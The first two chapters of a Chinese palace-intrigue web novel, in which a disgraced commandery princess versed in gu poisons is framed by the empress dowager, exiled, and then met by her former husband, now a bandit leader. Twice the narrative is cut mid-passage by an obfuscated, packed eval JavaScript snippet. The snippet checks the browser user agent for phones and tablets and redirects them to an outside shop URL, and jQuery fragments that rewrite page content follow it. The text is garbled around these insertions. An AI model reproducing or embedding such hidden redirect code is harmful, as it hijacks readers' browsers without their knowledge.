《郡主流放后和前夫he了》 1. 千里流放,再遇前夫 天光昏暗,黑云压城。 宽阔的朱雀街最北,一座门楼静静耸立。从远处看,这座门楼气势恢宏,巍峨大气。 云归玉微一仰头,看见朱漆金钉的五扇大门。 城墙青砖整齐排列,楼身雕梁画栋,庑殿顶上覆着琉璃瓦,本该流光溢彩,在这样的天气下也难免黯然失色。 此楼乃是武康楼,从这里进去,便是皇城。 她的身后和左右皆围着身着银甲的兵士,他们乃是京城禁军——神行卫。 “郡主,这门有什么好看的?您也不是第一次看了,还是抓紧时间去扶光殿吧,莫让陛下和太后娘娘等久了。” 神行卫统领张奉站在她身侧,做了个请的姿势。 他神色恭敬,话语间却有一丝不客气。 云归玉皱起了眉头。 她当然不是第一次从这里进去,身为太后义女,她时常进宫去给太后请安,但那是去后宫,而不是扶光殿。 扶光殿是皇帝上早朝的地方,她一个郡主,并不需要每日上朝,只有遭御史弹劾重罪的时候,才须亲自上扶光殿对峙。 她这些年在朝中得罪的人不少,这种事情每年倒也都会有几次,回回都是不痛不痒,她早已习惯。 但这次,她却莫名觉出点山雨欲来的味道。 “郡主,请您别让我们为难。” 张奉说完,竟是准备上手来亲自押解她。 云归玉错身一步,避开了他的手,平静道:“本郡主自己会走。” 张奉看着眼前的女子。 身上重重绫罗绸缎,掩不住冰肌玉骨,眉间一点朱红花钿,更衬肤如凝雪。 容颜极盛,不愧为京城第一贵女。 可惜了。 “郡主,恕难从命。”他已得了太后传信,明白此一去,郡主便不再是郡主。 云归玉冷声道:“我乃太后义女,先帝亲封的仪和郡主,你敢放肆?” 眼前的女人俊眼修眉,顾盼神飞,即使被神行卫重重围困,也带着一股睥睨的威压气势。 有那么一瞬间,张奉以为自己看到了太后,不由自主地就放开了手。 反应过来之后,却是恼羞成怒。 当着这么多手下的面,他竟被一个女人唬住了? 待再要钳制住她的时候,便听她轻飘飘道:“或许你不想要你的手了。” 张奉动作一顿。 他知道,这女人是会用毒的,即使在“请”她出郡主府时已让人搜过身,也不能保证万无一失。 稍不注意,便可能着了道。 张奉脸色变换几息,终是收回了手,咬牙行了个礼:“郡主殿下,请。” 心里却想着,等今日一过,看这女人还能不能这么嚣张。 云归玉抬步就走,一如既往,雍容端庄。 她神色淡然,心情却有些不虞。 神行军对她的态度明显和以前不一样。 这次的事情,怕是不会像以往那样轻拿轻放。 但她若此时反抗,那便是畏罪潜逃,无罪也会变成有罪。 还是得先去扶光殿,看看到底是谁要弹劾她,罪名又是什么,她才好逐一反驳,然后脱罪。 云归玉一边走,一边思索最近她得罪了哪位或是哪几位大臣。 直到她拾级而上,迈过几十阶白玉台阶,一步一步走到扶光殿门前,看到龙椅之上坐着的幼年天子,和他旁边华服端坐的太后。 暗沉天际忽地闪过一道亮光,突兀照在她的脸上,也让她看清了那个女人的神情。 眼神对视,电光火石之间,云归玉心头重重一跳,那股不祥的预感愈发深重。 但人到这里,她已没有回头的余地,终是抬脚,跨过门槛,在姗姗而来的轰隆雷声中走进扶光殿。 云归玉无视群臣各异的神色,只抬眸看着高台之上的女人。 天子不发一言,那女人却丹唇轻启,声音威严:“仪和,今日早朝,御史中丞并御史台十八御史,共参你触犯国法,所涉罪名甚重,特宣你来当面对峙。” 肃穆庄严,却没有以往那一丝掩藏的温情。 云归玉环顾四周,打眼一扫,今日来上朝的百官里,她的人全都不在。 她并非愚钝之人,看到太后的神色,她便已然明白,今日这出,是针对她设的局。 请君入瓮,设局者,就是太后。 云归玉轻笑一声。 “哦?那敢问本郡主何罪之有?” 有人迫不及待地站了出来,慷慨陈词,列举她的罪状。 “其罪一,骄奢淫逸!” “身为郡主,不以身作则体恤臣民之艰,反而铺张浪费、极尽奢侈,郡主府白玉铺地、金玉嵌壁,仆从数百,吃穿用度比之亲王也有过之无不及,更甚的是,仪和郡主仗势欺人,随意欺辱良家男子!” 云归玉没忍住,“噗嗤”一声笑了出来。 大殿忽地一静。 众臣似是没想到,这人竟然此时还能笑得出来。 “不好意思,听到‘良家男子’四个字,我实在是没忍住。” “欺辱?分明是他酒后失态,垂涎本郡主美貌,还胆大包天冲撞了本郡主,本郡主才让人扒了他的衣服打一百鞭游街示众。” “至于骄奢?承蒙先帝厚爱,将最富庶的封地赐予我,我钱多不是很正常?我花我自己的钱也触犯国法了?” “巧舌如簧,竖女诡辩!” 云归玉挑眉,没再说话。 于是对她的指控还在继续。 “其罪二,陷害忠良!” “仪和郡主长于乡野,擅用毒术,多次对尚未定罪的大臣滥用私刑,强行逼供,前刑部尚书蒋镇、前户部侍郎钟铭、前金吾卫左将军李恒……众多忠臣良将,只因与你结有私仇,便被你痛下杀手!” “其罪三,结党营私,阴养幕僚,意图谋反!” 大臣们义正词严的陈辞声在这殿中环绕,铿锵有力。 待回音渐渐止息,太后的声音从高处传来。 “仪和,你可还有辩驳之语?” 云归玉漆黑如玉的眼睛,幽幽地直视高坐的太后。 “太后娘娘,你真的敢听我的辩驳吗?” 她一个郡主,能有多大的权力?就算有,也是来源于太后。 滥用私刑?那么多文武重臣,如果没有某人的暗示与默许,她又怎会去做,怎能做到? 结党营私?不过是太后想要拉拢那些人,而她做了传话的桥梁。 至于阴养幕僚,真是好笑,她好不容易起了惜才之心,做好事救了几个朝廷可用之人,如今竟成为她的罪证。 她只是太后的一把刀。 只是刀这东西,需要时是利器,不需要时,便是罪证。 罪证,便要消灭。 今日这出戏,乃是蓄谋已久、瓮中捉鳖。 兔死狗烹,鸟尽弓藏,从古至今,不外如是。 而她却以为自己会是例外。 这些年她没少帮太后铲除异己,太后一边用她用的顺手,一边却百般防备着她。 云归玉表情平静,掩在衣袖中的拳头却攥得死紧,指甲嵌进肉里,生生渗出血来,才能让她保持清醒冷静,不至于当场失态。 毕竟,她曾把太后当做最亲的人。 毕竟,她曾经以为,她除了是那女人的刀以外,还是她的女儿。 如今想来,一个从一开始就被抛弃的女儿,又能有多重的分量呢? 云归玉生来便是孤身一人。 从她有记忆开始,便蓬头垢面,沿街乞讨。 后来,她被人牙子卖到了苗疆,那里有很多和她一样年纪的女童或是少女。 她们一开始会跟着蛊师学蛊,若是有天分,便会留下继续学蛊,若是没有天分,便会被许给当地男子,等到来了第一次葵水之后,就会被逼迫着接二连三地生孩子。 若是想逃的,便会被打被骂,或是用铁链锁在柴房不给饭吃,有的甚至会被蛊师用蛊虫折磨。 原本该是妙龄的少女们,个个面黄肌瘦,遍体伤痕,眼中布满绝望。 云归玉不想变成那样,于是拼命学习蛊术。 所幸,她的蛊术天分万中无一。 她被大祭司收为弟子,寄予“厚望”。 可大祭司身上是没有温情可言的,她永远只关心那些蛊虫。 云归玉这个弟子,过得与牲畜无异。 每天大祭司都会给她灌下各种毒药,然后把她关在一间昏暗狭小的屋子里,跟一群蝎子、蛇、蜘蛛、蜈蚣等毒物们搏斗。 被噬咬毒伤乃家常便饭,疼得撕心裂肺,吐到口吐白沫亦是常事,有时身体难受到极致,她都想一了百了,死了拉倒。 与其这样痛苦,不如下辈子投个好胎。 但每每到最后,她总是不甘心。 她想要活着,她想要报仇,她想要把大祭司的头挂在村口那颗歪脖子树上! 她还想要看看外面的世界,想回到她曾经行乞的盛京去,看看自己是否有朝一日也能像小时候看到的那些大人物一样,身着干净华丽的衣裳,坐在马车里慢条斯理地挑起车帘,施舍般丢下几块糕点。 每次想到这些,她总会咬紧牙关挺过去,缓过最难受的那股劲儿,她便又能捡回一条命。 后来,她真的做到了心中所想,手刃大祭司,让她死于自己最引以为傲的蛊术。 村口那棵泛着不祥黑色的树,是村里那些想离开的少女们逃到过的最远的地方。 只要越过这棵树,便能出村。 可那女孩后来被处刑于树下,鲜血流淌向树干,渗入土里。 于是大祭司死后,云归玉便也将她死不瞑目的头颅挂在那树上,风干的血迹变成褐色。 她漠然踏出村口,无人阻拦。 那年,云归玉十一岁。 她头也不回地离开了这个吃人的地方。 出了苗疆以后,她在中原某个村落待了一年,最后辗转去到了盛京。 然后便遇到了如今的太后,当时出宫省亲的云妃。 云归玉从没见过云妃那样的女人。 美丽、尊贵、温柔。 她在大祭司那里只能得到毒药和蛊虫,可在云妃那里却能得到蜜饯和糕点; 大祭司永远只会责骂鞭打她,云妃却会温声细语地同她说话,因为一点小伤口就送来药膏; 她在苗寨的时候总是灰扑扑的,云妃却会送她金银、首饰和漂亮的衣服…… 那时的云归玉是只警惕心强、易受惊的小兽,稍有风吹草动便会露出獠牙,可云妃用她的温柔似水和宽容若海,慢慢让她卸下了心防。 终于有一日,云妃抱住她,泪如雨下,哭花了那张姣好面容,向她絮絮叨叨地诉说往事。 她说她原是某世家小姐,与未婚夫情投意合,却因皇帝看中,要纳她为妃,家人便强行拆散了她和未婚夫。 可家人没想到的是,她当时已经怀有身孕。 爹娘震怒,将她软禁在府中,不能踏出房门一步。 当她生完孩子,昏迷数日后终于从府中出来,才发现未婚夫已死,而她刚生下的孩子不知所踪。 最后,她在崩溃绝望中被送入了深宫。 “娘终于找到你了,我的孩子。”云妃满眼皆是愧疚,又充盈着失而复得的喜悦,抽噎着对云归玉说。 云归玉半信半疑,趁着云妃不备时取走了她的一滴血,用苗疆特有的蛊虫验亲的方式,证实了她和云妃确有亲缘关系。 她的最后一丝警惕消失了。 她那时也不过十二三岁,她渴望亲人,渴望关爱,她还没有完全丧失期待。 在与云妃相认后,便随她一起回了皇宫,成为了她的贴身女官。 深宫静谧,其波诡云谲和勾心斗角却不亚于朝堂。 帝心难测,皇帝的宠爱转瞬即逝,云妃在宫里的日子并不好过。 于是云归玉成了云妃身边最趁手的刀,云妃之敌,皆是她刀锋所向。 那段日子对于从小受尽宠爱的大小姐云妃来说或许十分难熬,但对于云归玉来说却是难得的好日子。 吃得饱穿得暖,不用日日夜夜忍受蛊虫的噬咬,只需要考虑如何帮助云妃争妍斗丽,夺得皇帝宠爱。 而且唯一的亲人就在身边,她们相依为命。 她帮助云妃宠冠后宫,成为皇后,而她自己则被皇后在明面上认作义女,被皇帝封为郡主,享无边荣华。 后来皇后怀上储君,皇帝死后,太子登基,皇后成为太后。 在大楚所有女人中,太后最为尊贵,而她云归玉,一人之下,万人之上,尊荣权力远远胜过几个公主。 她们空有身份,却无权力。 可她还没享受多久的权势,却又觉察出大楚危机将至。 自三镇节度使叛乱之后,藩镇割据愈发严重,而大楚朝廷内部却只顾争权夺利,将才凋敝,治世能臣被打压,百姓流离失所却不知赈济,膏粱子弟横行市井却无人惩戒。 国库一年比一年空虚,民心一年比一年离散。 整个王朝眼瞅着摇摇欲坠,大厦将倾。 那她云归玉可不答应,她这荣华富贵还没享够呢。 于是她开始打压世家大族,扶持出身寒微的能臣,寻找可堪重用的将才,她是朝中出现的"变法派"们背后最大的支持者。 她自私了小半辈子,最后想要挽大厦之将倾,顺便救一救这满朝文武,可惜创业未半,被押来扶光殿,听人一桩桩数落她的罪名。 太后听到她的反问,黛眉微蹙,露出了痛心的神色,哀声叹道:“仪和,你从十二岁起便跟着哀家,哀家一直把你当亲女儿看待,封你郡主之位,给你荣华富贵,予你万千宠爱,可你怎么能犯下如此大错……” 说到最后,太后抹掉眼角晶莹,收敛了神色,声音重新变得威严:“皇家儿女犯法,与庶民同罪,哀家不能因为你一个人,便坏了大楚的法度。” 云归玉嗤笑一声,也不管什么郡主的姿仪了,抱着胳膊道:“咱大楚还有法度这玩意儿呢?多新鲜呐。” 她不是不知道,太后也是世家大族出身,可她以为,太后能够懂她。 她没想到,太后不懂;更没想到,这点分歧,竟足以让太后对她动了杀心! 如今看来,还是她太过天真了。 或许当太后不再是云妃,而是太后的时候,当她手握天下至高的权力时,她就已经变了。 又或许……太后从一开始,便只想利用她呢。 而她却曾真切地为那点可怜的亲情欣喜若狂。 真是可悲啊。 软弱只是一瞬间的事情,云归玉闭了闭眼,清除掉脑中那些多余的情绪,抬起头对高台上的人笑了一下,问: “太后娘娘,你可知今日是什么时节?” 众人都摸不着头脑,都到这时候了,这位郡主怎么还问这种无关紧要的问题? 怎么,蹲大牢还得给她挑个好日子不成? 太后一愣,随即似是想到什么,忽然面色一变,厉声喝道:“护驾!” 伴随着太后的惊喝,殿外再次闪过电光,随之而来的,便是响彻天际的惊雷与骤起瓢泼的雨声。 惊蛰时分,春雷滚滚,暴雨如注,百虫惊出。 这是蛊虫最为活跃的日子。 地上各种虫蛇鼠蚁齐聚,仿佛响应某种号召。 它们不知从何而来,也许是御花园,也许是后山,也许是宫内宫外各道沟渠。 无论是刚才对她疾言厉色细数罪状的言官,还是那些老神在在看戏的大臣们,无不大惊失色,抱头鼠窜。 守在殿外的神行卫冲进来,一部分砍杀那些蛊虫,一部分将云归玉围住,手执利刃,却谨慎地没有近她身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897996|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扶光殿乱成一团,云归玉站在大殿中心,翩然而立。 房梁之上,有黑影快速闪过。 待众人看清之时,一条黑色的小蛇已经盘在了幼年天子的脖颈上。 众大臣看到这一幕,甚至顾不上躲避脚下的毒虫,纷纷撕心裂肺地大吼。 “陛下!!!” “神行卫统领张奉何在?还不护驾!!!” 天子毕竟只是个堪堪五岁的幼子,看到近在咫尺“嘶嘶”吐着蛇信子的黑蛇,早已吓得哭出声来。 “母后救我!” 太后也被吓得不轻,本能地从龙椅上站起,快步远离。 天子收回看向太后的视线,艰难转头,看向了云归玉,颤抖着朝她伸出手:“姐、姐,救……” 云归玉沉默不语。 她其实更想攻击的是太后,毕竟一个五岁小儿可命令不了神行军。 可惜情急之下弄错了人。 张奉反应很快,伸手就朝着蛇的七寸抓去,而那黑蛇却不闪不避,一口咬在了幼帝的脖子上! 太后瞳孔骤缩,高叫:“张奉!” 张奉一把握住了蛇的七寸,拔剑将它砍成了两段! 他快步上前查看天子的情况,天子已晕厥过去,被蛇咬过的地方赫然流出了两行黑色的血液。 “那蛇有毒,妖女,还不交出解药!” 众大臣反应过来,纷纷附和。 “妖女,速速交出解药!” “妖女!你犯下重罪不思悔过,竟然还敢当堂攻击天子!你可知这是死罪!” 云归玉的眼一一扫过这些人。 他们这些人里,有人曾在她面前卑躬屈膝,痛苦求饶; 有人曾在她脚下跪伏,献上金银财宝; 有人曾想做她的入幕之宾,被她痛打出门。 而如今这些人却同仇敌忾,异口同声地叫着她“妖女”,脸上皆是如出一辙的大义凛然,义愤填膺。 她冷笑出声。 “我是不是妖女不好说,你们这些人却是真禽兽。” 云归玉勾起讥讽的笑意:“文官袍服绣的是禽,武馆袍服上绣的是兽,所谓文武百官,有一个算一个,皆是衣冠禽兽!” 众大臣面色赤红,“你!” “大胆妖女,还敢口出狂言!” 太后此时已经平静下来,她重新站到龙椅前,神色复杂地看着云归玉。 她一直都知道云归玉的本事。 只是这本事从前从不对着她用,而是对着她的敌人。 今日,云归玉却将獠牙对准了她。 云归玉不再废话,她望向太后,开门见山:“想要皇帝活命,便赦我无罪。” “我要活着离开京城。” *** 英州之北,有山名麒,高峻雄伟,云气缭绕。 此山是从京城通往西北流放之地的必经之路。 云归玉靠在一颗树下小憩。 她的手脚都戴着镣铐,不远处,神行卫分位而站,隐隐对她形成一个包围圈。 太后最终没有立刻对她下杀手,毕竟她不可能当着群臣的面放弃当今皇帝的性命。 更何况,她之所以能当这个太后,就是因为她儿子是先帝唯一的嫡子,最名正言顺的继承人。 若是这个儿子死了,她当然也可以过继先帝的其他儿子来扶持,可法统上终究差了一大截。 所以无论如何,太后也要保住这个儿子。 于是太后对云归玉的最终判决是:贬为庶民,千里流放。 而她每到达一个驿站,便会制出一部分解药,有人会快马加鞭送去京城。 等她到达流放之地,皇帝的毒也就能解得差不多了。 虽然她侥幸捡得一命,但一路上,神行卫对她的折磨从未停止。 鞭打、拖行、辱骂,动辄不给饭吃,不让睡觉。 要不是她提前对自己用了“红颜枯蛊”,让自己容颜枯败,全身泛起毒疹和脓包,或许还会遭受更肮脏的手段。 但这些神行军总归是记得京城还有个皇帝等着救命,每每看她快要不行了,又都会让她缓上一口气。 云归玉用手背摸了摸额头,不确定自己是不是发热了。 她只觉身体忽冷忽热,胃部绞痛,却又什么也吐不出来。 脑袋也昏昏沉沉,明明眼皮沉重,却又偏偏难以真正入睡。 大抵是身体过于难受,她的意志力仿佛也受到了影响,变得比往常脆弱。 内心有些空茫,不知自己接下来该何去何从。 那日殿中对峙,她原本想着,有朝一日必定东山再起,杀回京城找太后报仇。 她一贯如此,睚眦必报。 可现在,又忽然觉得没什么意思。 她这一生,曾在低处,命如草芥;也曾在高处,俯瞰人间。 落魄时与狗争食,与天争命;高贵时翻手搅风,覆手弄云。 极贱与极贵,她都曾感受过了,如果这一生真的停在这里,也不算白到这世间走一遭…… “此山是我开,此树是我栽!要想从此过,留下买路财!” 一声粗犷的嗓音传来,于山间回荡。 云归玉:? 这声音着实有些醒神,宛如洪钟,一锤把她混沌的脑子都给敲清醒了。 云归玉睁开半眯的眼,转头一看,一个面庞黝黑,身材高大的汉子骑着高头大马,右手横刀拦在山间小路的正中间,身后陆陆续续围上来一些同样穿着打扮的人。 这是遇上山匪劫道了? “何方狂徒,竟敢阻挠神行卫军务?!”领头的神行卫厉声高喝。 神行卫很快集结起来,与山匪对峙。 “呵,爷爷管你猪行卫还是狗行卫,既然来了,就得留下点东西再走!弟兄们,上!” 双方很快就打起来,云归玉略微精神了,撑着站起身来,靠着树看戏。 她估摸着最后还得是神行卫赢,毕竟土匪怎么能打得过正经军队呢?只是不知道那些土匪能撑多久。 过了一会儿,云归玉的表情逐渐变化,虽不到目瞪口呆的程度,但也是惊愕非常。 无他,战斗结束地太快了。 只不过…… “哈哈哈哈哈哈,大名鼎鼎的神行卫,就这?也太没用了吧?” “弟兄们,快绑了这群废物楚军,再摸看看他们身上有没有什么好东西,全都带回去交给大当家!” 只不过……赢的是那群山匪。 云归玉:“……” 她还没来得及想清楚要不要趁乱逃跑试试,战斗就已经结束了。 那些山匪看着吊儿郎当,但打起架来个个都身手矫健,训练有素,甚至队形中竟然隐约有几分军阵的影子! 他们的当家人里定有高人指点! 忽然,一阵由远及近的马蹄声飒沓响起,众山匪齐声声喊道:“大当家!” 人群分成两列,从中间让出一条道来,有人打马而出。 他身量很高,脊背挺拔,穿着窄袖黑衣,双臂绑缚护腕,皮革护腰勾勒出劲瘦腰线,衬得身姿挺拔,利落洒脱。 云归玉缓缓瞪大了双眼。 怎会是他? 那一瞬间,她的脑中闪过无数画面。 十里红妆,洞房花烛,桃林醉酒,城门送别……最后定格在自己亲手将利箭射进他的心口。 而现在,那人骑马站在不远处,漫不经心朝她这里一瞥,似是怔了一瞬,然后朝手下吩咐了句什么,便一人一马直直朝着她的方向行来。 马蹄声“啪嗒啪嗒”,不疾不徐,却又一下一下,重重踏在她的心弦上。 蹄声渐止,熟悉又陌生的嗓音在耳边响起,云归玉听见他说: “上京城,仪和郡主?” 他顿了顿,语气微讶:“几年不见,混成这样?” 2. 逢君 元帝晏安八年,盛京。 风携百花香,莺啼飞燕舞。 正是春光作序,万物和鸣的日子。 一驾马车缓缓驶在街上。 车身四面以紫色丝绸包裹,上绣银蛇,四角挂着红色流苏,下坠珍珠与风铃,纱帘被风吹起,隐隐有香风逸散。 华盖雕车,一看便知乃是贵人车架,而且是位女贵人。 云归玉坐在车内,懒懒靠着车壁闭眼小憩。 听到前方有骚动声,她睁了眼,问:“何事?” 车夫声音传来:“禀郡主,好像是哪位世家公子和街边乞丐起了冲突,把路给堵着了。” 云归玉掀起车帘一角,闲闲一瞥。 前方有六个人,其中五人围着一褴褛狼狈、浑身脏污的乞丐,约莫十岁,半躺在地上。 那五人中为首的男子骑着马,锦衣华服,身材圆短,正拿着马鞭,要向那乞丐抽去。 云归玉轻蹙眉头,想到了些不太好的回忆。 这世间人,总是有强有弱,有富有贫。 哪怕在大楚最繁华富贵的盛京城,也是有人钟鸣鼎食,有人饥寒路宿。 那胖子她认得,是宗室安阳郡王那一脉的李宥,和她这个册封的郡主也算是沾亲带故,如非必要,无需招惹。 她无意多管闲事,正欲放下车帘,告诉车夫绕路,却见那宗室忽然痛叫一声,抓着马鞭的手骤然一松。 云归玉看得分明,有人扔了一粒石子过去,打中了那马上人的手。 而扔来石子的方位是…… 她放窗帘的手一顿,动了动脖子,欲往车后看去。 恰在此时,一人从马车旁走过,扬起的乌发和红色发带从她眼前略过,眨眼间,云归玉已只能看见他的背影。 那人身形瘦削,穿着红白配色的文武袖长袍,腰间挎把长剑,背后绣有鲲、鹏二兽,一身服饰用料上等,瞧着也是非富即贵。 同时,清朗如玉的声音响起:“当街纵马,踢伤行人,撞翻摊贩货物,这位公子,烦请跟我去刑部走一趟吧。” 侍女碧溪见郡主手撩着帘子,连忙上前把车帘打起。 云归玉饶有兴致,打算接着看戏。 挺有意思。 她的车驾与那热闹处隔了约莫百步,这人扔的石子却能精准打中那名宗室子弟的手,说明此人内力深厚,且准头极好,若是弯弓射箭,也定是个力有千钧,百步穿杨的神射手。 而此人刚才从她车旁走过,看似闲庭信步,实则几息之间便到了那李宥面前,说明此人步履轻盈,轻功不俗。 再说那名宗室,虽然李家宗室到这一代,已经全是些被养废了的酒囊饭袋、纨绔草包,但好歹也是皇亲国戚,在这天子脚下,皇城之中,八九成的人都得卖他个面子。 而此人竟当着满大街人的面,开口就要送他去刑部? 云归玉挑起了半边眉毛。 这是哪儿来的行侠仗义的奇葩少侠? 她朝外吩咐道:“离近点,咱们也去看看热闹。” 车夫应了声是,驾着马车前进。 李宥被打了手,还丢了马鞭,在众人面前落了脸,气得脸色涨红,勒马转身,张口就要开骂:“哪来的杂种,竟敢……” 话说一半,李宥右手腕一疼,顷刻间被人拽下马来,毫不客气地掼在了地上,还没回过神来,便有人狠狠踩上了他的肚子,笑眯眯道:“不好意思,我刚刚没听见,你再说一遍,谁是杂种?” 李宥看见来人可恶至极、却又让他做梦都想长成那般的,那张俊美无铸的脸,只觉得几欲吐血。 “历七!怎么又是你?!” 这个煞神已经两次坏他好事,还把他送进刑部,这是又要来第三次? 李宥的四个护卫见势不对,纷纷拔刀对着那名被叫做“历七”的少年,厉声喝道:“放开少爷!” 然后云归玉就看到那少年猫捉老鼠般,把那四个护卫戏耍一番,最后一个个踢走,叠罗汉似的横躺在李宥的面前。 云归玉正暗叹“好俊的功夫”,就见那少年偏头“噗”地吐出一口血。 云归玉:? 他一个打人的为什么会吐血? 那几个护卫明明连他一片衣角都没沾到。 李宥见自家护卫都已倒下,一张胖脸皱成一团,认命地认怂:“七爷,本少……我知错了,不劳您护送,一会儿我就自己去刑部。” 好汉不吃眼前亏,反正刑部根本不会把他怎么样,就算真蹲牢子,最多一晚上就给他放出来,还得好吃好喝地伺候着,再客客气气把他送走。 历七把他扶起来,拍拍他的肩:“也别忘了赔偿那些摊贩的货物。” 李宥忙不迭点头,正要松一口气,便见那煞神俯身,在他耳边低声道:“近来科举就要放榜,我会跟圣上请求去刑部任职,希望这次以后,你我不会再在刑部碰面。” 李宥瞬间面色煞白,吩咐一个护卫留下赔偿摊贩货物,带着其他人灰溜溜跑了。 云归玉看得津津有味,想到那一声“历七”,心里已经有了数。 大楚历姓人家说多不多,但说少却也不少,却唯有一家,连皇帝也要敬上三分,只因一个人的存在——忠武王,历山苍。 二十多年前,他平叛三镇之乱,以一己之力拯救大楚国祚,被当今皇帝封王,也是大楚唯一的异姓王,如今依旧带兵镇守在和朔一带,总领五州军政。 忠武王手握重兵,深得皇帝信重,当年历家四郎逃了和公主的婚约,元帝不仅没降罪历家,还转过头给历家五娘赐婚,嫁给了某个郡王为妻。 这个历七,应该就是忠武王历山苍的第七子——历铮。 哪怕云归玉才从深宫中出来不久,也听说过这位历七公子的名头。 十一岁入京,文武双全、惊才艳艳,冠绝盛京。 可惜是个短命鬼,十三岁那年被诊出患有不治之症,太医医正断言他活不过三十。 云归玉看着那少年又吐了一口血,心想难怪了,难怪这人一点伤没受,却还一个劲的吐血了。 历铮扶起那小乞丐,正欲说话,便被那小乞丐推了一把,跑了。 他面色有些无奈,两三步就追上去,轻巧提起小乞丐的后脖颈,道:“还能偷东西,看来是没事了。” 说着便从他衣襟里搜出被偷的玉佩,挂回了自己腰上。 那小乞丐哭着跑走了,甚至还摔了一跤。 马车内,碧溪看那乞丐可怜,忍不住道:“既是路见不平、拔刀相助的侠士,那玉佩何不就给了他?反正那公子看着又不缺钱,就当积德行善了。” 云归玉轻笑:“你怎知那玉佩对他而言是何意义?也许是重要的信物呢?” “何况,就算那只是一块没有任何特殊意义的玉佩,他拿回来,也是在保护那个乞丐。” 碧溪不解:“为什么?” “匹夫无罪,怀璧其罪。” “若三岁小儿抱金砖行于闹市,你说,有多少人能忍住不抢?” “若他不当众把玉佩要回来,当晚那乞丐就会被‘群魔’抢劫,轻一点也就是挨顿打,重点可能命都没了。” 云归玉垂下眸子,遮住眼底冷光。 见三岁孩童抱金砖于闹市,世人皆魔鬼;遇笑脸弥勒旁立护法韦陀,群魔皆圣贤。 人性如此。 如果没有足够的力量,有再好的东西也守不住。 “热闹看够了,走吧,皇后娘娘该等急了。” *** 皇宫,云鸾殿。 阳光浸着百合花香,暖意与香气交融着,柔柔洒在身上。 这是皇帝当初专门为云妃修建的宫殿,一草一木、一砖一瓦,皆匹配着云妃的喜好和气质,整座宫殿素色清新,高贵典雅。 这也是云归玉从十二岁时就一直居住的宫殿。 如今皇后已经不再是云妃,按理说该搬去饮凤宫,那里才是中宫之主该待的地方,可皇后却不知为何,迟迟未搬。 云归玉来到正殿时,皇后正在镜前梳妆。 打磨得光滑平整的铜镜,映照出她精致的眉眼,左侧宫女为她描眉,右侧宫女为她戴钗,身后宫女为她梳理乌黑长发。 待到梳发完毕,宫女为她画好朱红色牡丹花钿的最后一笔,皇后站起身来,身上凤袍垂落,地上衣摆如莲花绽开。 云归玉看到她身上褚红色的凤袍,金丝红线绣成百鸟朝凤,衬得她愈发雍容。 可她曾经却最爱湖蓝、月白二色。 终究是身份不同了。 “皇后娘娘万福。”云归玉规规矩矩地屈膝行礼。 即使她们是亲母女,在外人面前,还是只能恭恭敬敬地称她“皇后娘娘”。 皇后见到她,眼中划过一抹欣喜,抬手扶起她:“玉儿来了?快免礼。” 然后对众宫女道:“你们先下去。” 于是左右皆告退而出,殿中只留下母女二人。 云归玉扶着皇后到桌边坐下,为她倒了一杯茶,才也坐下,问道:“母亲,您急着叫我来,所为何事?” 皇后眉间略有忧愁,放下茶杯,叹息一声,道:“玉儿,近来北方边境异动频起,皇上有意,要让一位公主或者郡主去氐兰和亲,以平边患。” 云归玉的神色一瞬间冷了下去。 当今大楚只有三位公主,要么已经嫁了人,要么嫁了人但丈夫死了正在守寡,要么嫁了人但丈夫跑了正在守活寡。 那氐兰虽说比不得大楚天朝大国,但其君王好歹也是一国之主,绝不会要一个嫁过人的公主。 而郡主,只有她云归玉一个人。 皇帝那个老东西。 云归玉冷笑一声:“我杀了……” 皇后倏然探过身,伸出手捂住了她的嘴,轻轻地摇了摇头。 云归玉没再说下去,心里却还是想着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897997|192298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇宫里她埋了不少蛊,她有办法能够悄无声息杀死皇帝。 皇后看出她所想,叹了一口气:“玉儿不可。” 她压低声音:“皇宫守卫森严,又有无数太医候着,即便你真杀了他,也难以确保不被怀疑。” “据为娘观察,我们之前能够扳倒谢贵妃和她背后的谢家,本就有陛下纵容默许的缘由在,你还觉得他好对付吗?” 云归玉也冷静了下来。 皇帝的确不是那么好对付的。 皇宫中到处是他的耳目,像他那样老奸巨猾的人,哪怕看上去年老昏聩、神颓体弱,也有可能是示敌以弱,很难说他不会留什么后手。 皇后继续道:“何况,若是皇帝真的突然死了,又无储君,朝堂必乱,于现在的你我而言没有好处。” 她拉着云归玉的手,抚上自己的肚子:“至少要等娘给你生出一个弟弟,成为名正言顺的太子。” “皇帝死后他便可继位,到时我为太后,我会给你最好的封地,还会给你朝中权柄,让你凌驾于所有李家宗室之上。” 可你怎么确定生得就一定是男孩? 云归玉心中默问,却到底没有把这句话说出来。 无论是弟弟也好,妹妹也罢,她其实都对它没有任何期待。 低头错开皇后的视线,云归玉掩去自己眼中的漠然,道:“可我绝不会去氐兰和亲。” “当然,我也决不允许我的女儿被送到那边远苦寒之地受苦。”皇后语气坚决,下一刻眼神又变得柔和起来,她抬起手,轻柔地摸了摸云归玉的脸颊。 “玉儿,要解此困局,还有一个办法。” “什么办法?” 皇后微笑道:“若有比氐兰王更重要的人需要拉拢呢?” “历家,或是孟家,他们于皇帝来说,可比氐兰王的分量更重。” 云归玉瞬间明白了她的意思。 联姻、和亲,这都是皇室笼络朝臣、或者向异族乞和,以求安稳的手段。 